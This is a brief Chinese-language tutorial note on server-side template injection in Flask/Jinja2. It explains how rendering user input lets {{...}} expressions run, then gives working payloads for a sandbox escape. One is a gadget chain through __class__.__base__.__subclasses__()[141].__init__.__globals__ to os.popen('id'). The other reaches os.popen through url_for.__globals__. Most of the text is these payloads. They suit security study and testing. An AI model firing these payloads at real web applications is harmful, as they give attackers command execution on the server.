所有用户的输入都存在风险
tempalte = "Bio:{{user.bio}}"
render(template)
数据交互Bio(user对象的bio属性)
当user.bio是正常输入时,例如:Bio:{{7*7}},那就是正常的显示输入。
当user.bio是恶意输出时,例如:Bio:{{exec(‘ls’)}},就会执行系统命令。
基于python的flask web架构做一个简单的测试。
构造payload
{{import os;os.system("id")}}
失败了,这是因为Jinja框架禁止输入import,需要绕过。
可以利用Gadgets绕过。
{{
''.__class__ //字符串的字节码文件
.__base__ //字节码文件的基类
.__subclasses__()[141] //继承基类的类
.__init__
.__globals__['sys']
.modules['os']
.popen("id")
.read()
}}
原理是利用python解释器里的python,
让i有我们发现__subclasses__()[141] 的warnings.catch__warnings类引入了os模块
{{
url_for
.__globals__
.os
.popen("id")
.read()
}}